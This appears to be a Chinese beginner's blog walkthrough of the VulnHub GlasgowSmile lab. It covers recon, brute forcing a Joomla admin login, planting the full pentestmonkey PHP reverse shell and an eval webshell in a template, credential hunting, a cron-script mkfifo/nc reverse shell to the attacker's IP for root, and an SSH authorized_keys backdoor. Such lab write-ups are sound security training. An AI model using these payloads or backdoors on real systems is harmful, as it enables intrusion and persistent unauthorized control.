GlasgowSmile靶机渗透记录(超全超详细适用于刚接触网安的小白们)

一、靶机的搭建和所用到的工具

1.靶机下载地址和搭建

https://download.vulnhub.com/glasgowsmile/GlasgowSmile-v1.1.zip

 下载靶机解压缩后,使用VM扫描虚拟机并添加。这里我是使用虚拟机对靶机进行渗透。渗透前先将两台虚拟机的网络连接方式改为NAT模式

 2.所需工具

nmap、dirsearch、kali、pspy、burpsuit

详细下载地址和安装方法可以参考其他师傅们的博客

二、拿到靶机shell

开启靶机,靶机已经给出了其ip地址

靶机:172.16.1.148

虚拟机:172.16.1.141

本文中提及到的这两个ip地址和所使用到的端口均替换为读者自己的ip地址和端口(因人而异)

1.信息搜集

nmap扫描,发现开放22和80端口

nmap -T4 -n -v 172.16.1.148

 访问http://172.16.1.148,不能获得任何信息

dirsearch扫描http://172.16.1.148

python3 dirsearch.py -u http://172.16.1.148

有效地址有:

http://172.16.1.148/joomla/

http://172.16.1.148/joomla/administrator/(后台)

2.密码爆破 

访问http://172.16.1.148/joomla/,为joomla CMS,判断后台用户名为joomla,同时页面有大量文字信息,利用kali的cewl提取密码字典(此处我使用的是Windows的Linux kali子系统),将字典保存在桌面上的passwd.txt文件,利用burp重复发包测试有无对短时间内访问次数的限制,经测试无。直接爆破密码

kali密码攻击工具——Cewl使用指南_cewl参数-CSDN博客

cewl http://172.16.1.148/joomla/ -w C:\Users\Anonymous\Desktop\passwd.txt

根据返回的状态码和数据包长度,判断正确密码为Gotham

顺利登入后台,且为超级管理员账户

3.植入和利用后门

在模板模块中,有网站源码,可以直接对模板源码进行修改植入后门

模板源码采用php,可以植入一句话后门

<?php @eval(‘’)?>    // ‘’中填入连接后门密码

也可以植入反弹shell(本文利用反弹shell)

<?php
// php-reverse-shell - A Reverse Shell implementation in PHP. Comments stripped to slim it down. RE: https://raw.

// Copyright (C) 2007 pentestmonkey@pentestmonkey.net

set_time_limit (0);

$VERSION = "1.0";

$ip = 'x.x.x.x';

$port = x;

$chunk_size = 1400;

$write_a = null;

$error_a = null;

$shell = 'uname -a; w; id; sh -i';

$daemon = 0;

$debug = 0;

if (function_exists('pcntl_fork')) {

$pid = pcntl_fork();

if ($pid == -1) {

printit("ERROR: Can't fork");

exit(1);

}

if ($pid) {

exit(0); // Parent exits

}

if (posix_setsid() == -1) {

printit("Error: Can't setsid()");exit(1);

}

$daemon = 1;

} else {

printit("WARNING: Failed to daemonise. This is quite common and not fatal.");

}

chdir("/");

umask(0);

// Open reverse connection

$sock = fsockopen($ip, $port, $errno, $errstr, 30);

if (!$sock) {

printit("$errstr ($errno)");

exit(1);

}

$descriptorspec = array(

0 => array("pipe", "r"), // stdin is a pipe that the child will read from

1 => array("pipe", "w"), // stdout is a pipe that the child will write to

2 => array("pipe", "w") // stderr is a pipe that the child will write to

);

$process = proc_open($shell, $descriptorspec, $pipes);

if (!is_resource($process)) {

printit("ERROR: Can't spawn shell");

exit(1);

}

stream_set_blocking($pipes[0], 0);

stream_set_blocking($pipes[1], 0);

stream_set_blocking($pipes[2], 0);

stream_set_blocking($sock, 0);

printit("Successfully opened reverse shell to $ip:$port");

while (1) {

if (feof($sock)) {

printit("ERROR: Shell connection terminated");

break;

}

if (feof($pipes[1])) {

printit("ERROR: Shell process terminated");

break;

}

$read_a = array($sock, $pipes[1], $pipes[2]);

$num_changed_sockets = stream_select($read_a, $write_a, $error_a, null);

if (in_array($sock, $read_a)) {

if ($debug) printit("SOCK READ");

$input = fread($sock, $chunk_size);

if ($debug) printit("SOCK: $input");

fwrite($pipes[0], $input);

}

if (in_array($pipes[1], $read_a)) {

if ($debug) printit("STDOUT READ");

$input = fread($pipes[1], $chunk_size);

if ($debug) printit("STDOUT: $input");

fwrite($sock, $input);

}

if (in_array($pipes[2], $read_a)) {if ($debug) printit("STDERR READ");

$input = fread($pipes[2], $chunk_size);

if ($debug) printit("STDERR: $input");

fwrite($sock, $input);

}

}

fclose($sock);

fclose($pipes[0]);

fclose($pipes[1]);

fclose($pipes[2]);

proc_close($process);

function printit ($string) {

if (!$daemon) {

print "$string\n";

}

}

?>

将代码直接写入一个文件即可,将本机ip地址和接受反弹数据的端口填入即可,下一步找到该模板文件的位置即可(此处修改的是index.php文件)

根据提示该文件可能位于template/beez3下,尝试访问http://172.16.1.148/joomla/template/beez3/index.php,Not Found;也可以继续猜测可能是templates目录下(但本人没有想到,经行了暴力扫描)

利用dirsearch扫描joomla目录下文件,并将扫描结果保存到桌面上的joomla.txt文件中

python3 dirsearch.py -u http://172.16.1.148/joomla/ -o C:\Users\Anonymous\Desktop\joomla.txt

根据其中第23条地址以及上述提示,判断index.php文件位于templates/beez3下,访问http://172.16.1.148/joomla/templates/beez3/index.php

虽然页面上没有任何有用信息,但找着了后门文件存在的位置

利用cmd命令行进行对端口的监听

开始对9555端口的监听

nc -lcvp 9555

 

重复访问http://172.16.1.148/joomla/templates/beez3/index.php,弹出提示,成功监听到目标ip

注意:

此处使用的命令为nc -lcvp 9555,同时运行两个cmd命令行可以发现此处开启的是TCP协议的9555端口

而使用命令nc -lcup 9555利用同样的方法可以看到此时开启的是UDP协议的9555端口

三、提权

1.一次提权——rob用户

调用攻击目标自带的python,执行

python -c "import pty;pty.spawn('/bin/bash')"

实现更人性化的交互式shell,将当前登录用户的用户名,登录计算机的名称,当前所在目录都显示出来

执行

whoami

查看当前登录用户 

当前shell会先输出输入的命令,再输出命令执行结果,相比之前shell较为友好,看到当前登录的用户为www-data,登录的计算的名称为glasgowsmile,命令行前提示符为$,说明该用户为普通用户,由于当前登录的用户权限较低很难获取更多有效信息,下一步提高用户权限

已知当前系统为Linux系统,查看系统文件/etc/*-release查看当前系统的发行版名称和版本号

cat /etc/*-release

得到当前系统为Debian GNU/Linux 10 (buster)

可以直接搜索当前版本看一下有无可以利用的漏洞,遗憾的是已经暂时没有找到当前版本的可利用漏洞

查看当前系统操作位数(操作位数与溢出漏洞相关联)

getconf LONG_BIT

得到该系统的详细信息Debian GNU/Linux 10 (buster) 64位

查看系统文件/etc/passwd查看当前计算机有哪些用户,并过滤nologin用户,即只能启动服务并不能登录系统的账户

cat /etc/passwd | grep -v "nologin"

当前计算机的登录用户有root(超管),rob,abner,penguin,sync,mysql,而sync和mysql用户可能是使用某些服务的用户,暂不考虑提权为这两个用户,所以提权目标就是rob,abner,penguin这三个账户,进一步提升为root账户

切换到用户目录,并查看目录内容

cd ~
ls -lah

~代表当前用户的目录,这里使用ls的参数lah,详细输出目录内容

补充:

使用ls -l命令查看文件时,在权限信息处共有10个槽位

文件类型所属用户权限所属用户组权限其他用户权限
-/l/dr/-w/-x/-r/-w/-x/-r/-w/-x/-
-ld
文件软连接文件夹
rwx-
文件/软链接写(修改文件)执行(将文件作为程序执行)无权限
文件夹查看文件夹内容(执行ls命令)在文件夹内创建、删除文件,或改名更改工作目录到此文件夹(执行cd命令)无权限

先切换到html目录,查看当前目录内容

cd html
ls -lah

该目录下存在提示文件how_to.txt,打开文件

cat how_to.txt

根据文件内容提示先将提权目标账户锁定在rob账户

当前目录查看完毕,切换到上一级目录的joomla2目录

cd ../joomla2
ls -lah

根据文件名字得不到任何有效信息,只能查看每个文件信息,在文件configuration.php中发现了数据库的用户密码

cat configuration.php

连接到数据库

mysql -u joomla -p

输入密码登入数据库 

查数据库名称,其中information_schema和performance_schema两个数据库为MySQL系统自带的数据库里面包含数据库的一些信息,所以不需要查看跳过即可;

show databases;

查询数据库batjoke表信息,依次查看各表的内容,在表taskforce中找到rob的相关信息,结合其余用户名密码的加密,判断可能为base系列加密,尝试以base64解密密码

use batjoke;
show tables;
select * from equipment;
select * from taskforce;

解码结果为

???AllIHaveAreNegativeThoughts???

2.二次提权——abner用户 

 exit数据库,利用解密出的密码尝试登录rob账户,成功登入rob用户

su rob

 同上切换到rob的用户目录,查看该目录内容

cd ~
ls -lah

发现可疑文件Abnerineedyourhelp,查看内容

cat Abnerineedyourhelp

 文件中存在base加密,以base64解密,解码得到一串乱码

E"��_oa(�ih�`U pW�, ,][$o#�i_qa("a^to&opX j ,u +�V$-

重新阅读文件内容,该文件以英文写成类似一封信,但一个单词都不认识,联想到凯撒密码,尝试偏移量1进行解密,得到两段文字,其中一段很容易判断出其大意,猜测其可能为正确解码内容,再对文末的base64加密内容进行解密,得到一串密码。文中提到Abner,猜测这串密码为用户abner的登录密码,尝试登录abner账户,成功登入abner用户

Hello Dear, Arthur suffers from severe mental illness but we see little sympathy for his condition. This relates to his feeling abweout being ignored. You can find an entry in his journal reads, "The worst part of having a mental illness is people expect you to behave as if you don't." Now I need your help Abner, use this password, you will find the right way to solve the enigma. STMzaG9wZTk5bXkwZGVhdGgwMDBtYWtlczQ0bW9yZThjZW50czAwdGhhbjBteTBsaWZlMA==

I33hope99my0death000makes44more8cents00than0my0life0 

su abner

 3.三次提权——penguin用户 

同上切换到abner的用户目录,查看该目录内容

cd ~
ls -lah

 查看历史记录文件.bash_history

cat .bash_history

 在文件中找到两条关键信息,penguin用户和压缩文件.dear_penguins.zip,所以下一步先找到压缩文件在文件中找到登录penguin的关键信息

搜索文件.dear_penguins.zip

find / -name .dear_penguins.zip 2>/dev/null

成功找到文件.dear_penguins.zip

切换到.dear_penguins.zip所在的目录并解压缩,解压缩需要密码,尝试刚才解密得到的密码,又提示权限不足,解压缩需要的密码正确但是在当前目录没有操作的权限

cd /var/www/joomla2/administrator/manifests/files/
unzip .dear_penguins.zip

将该压缩文件复制到/tmp目录下,/tmp为缓存文件目录,所有用户都有操作权限且退出登录时会清空缓存,且可以看到隐藏文件复制过来后变成了非隐藏文件

cp .dear_penguins.zip /tmp/penguins.zip
cd /tmp
ls -lah

解压缩并查看该文件

unzip penguins.zip
cat dear_penguins

 4.四次提权——root用户

老规矩base64解密,获得penguin登录密码,解密得到一串乱码,猜测这次密码没有加密,尝试切换到penguin用户,成功切换,同上切换到penguin的用户目录,查看该目录内容

scf4W7q4B4caTMRhSFYmktMsn87F35UkmKttM5Bz 

su penguin
cd ~
ls -lah

 看到可疑目录SomeoneWhoHidesBehindAMask,切换到该目录下,查看目录内容,找到可疑文件PeopleAreStartingToNotice.txt,查看内容

cd SomeoneWhoHidesBehindAMask
ls -lah
cat PeopleAreStartingToNotice.txt

翻译以后得知对方正在编写软件,软件仅以 root 权限运行,完成后,对方会将其复制到此文件夹。这个时候需要使用pspy工具监控没有root权限的Linux系统

由于已经拿到了该系统的登录用户名密码ssh远程连接进行上传pspy工具

ssh penguin@172.16.1.148

由于Linux系统的特性输入密码时不会有任何回显,所以直接复制登录密码,点击鼠标右键即可直接粘贴密码进行登录

 在本机的pspy目录下,启动python的http服务,启动端口可以任意填写注意不要与已经启动服务的端口重复

 访问ip:端口,看到可以任意下载该目录下所有文件

在靶机上将pspy64wget下来

wget http://172.16.1.141:5555/pspy64

 查看文件pspy64,发现没有权限执行

ls -lah

进行赋权 

chmod +x pspy64

执行该文件

./pspy64 -p -i 1000

监听到文件/home/penguin/SomeoneWhoHidesBehindAMask/.trash_old每分钟都执行,使用vim编辑trash_old写入反弹shell(要将末尾的exit 0注释掉)

vi .trash_old
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 172.16.1.141 9876>/tmp/f

 开启监听,连接上后,执行whoami,拿到root权限

nc -lnvp 9876

四、权限的维持

打开kali,生成公钥私钥,默认保存在.ssh目录下

ssh-keygen -t rsa

查看生成的公钥和私钥

cd .ssh
ls -lah

在.ssh目录下启动python的http服务,在靶机上下载公钥

python3 -m http.server 7555

wget http://172.16.1.141:7555/id_rsa.pub

在靶机root用户目录下创建.ssh目录

mkdir .ssh

创建authorized_keys文件

touch .ssh/authorized_keys

将密钥写入authorized_keys文件

cat id_rsa.pub >> .ssh/authorized_keys

使用kali就可以直接连接到了

只要靶机上的公钥文件存在,拥有私钥就可以永久拿到靶机的控制权

  • 1
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值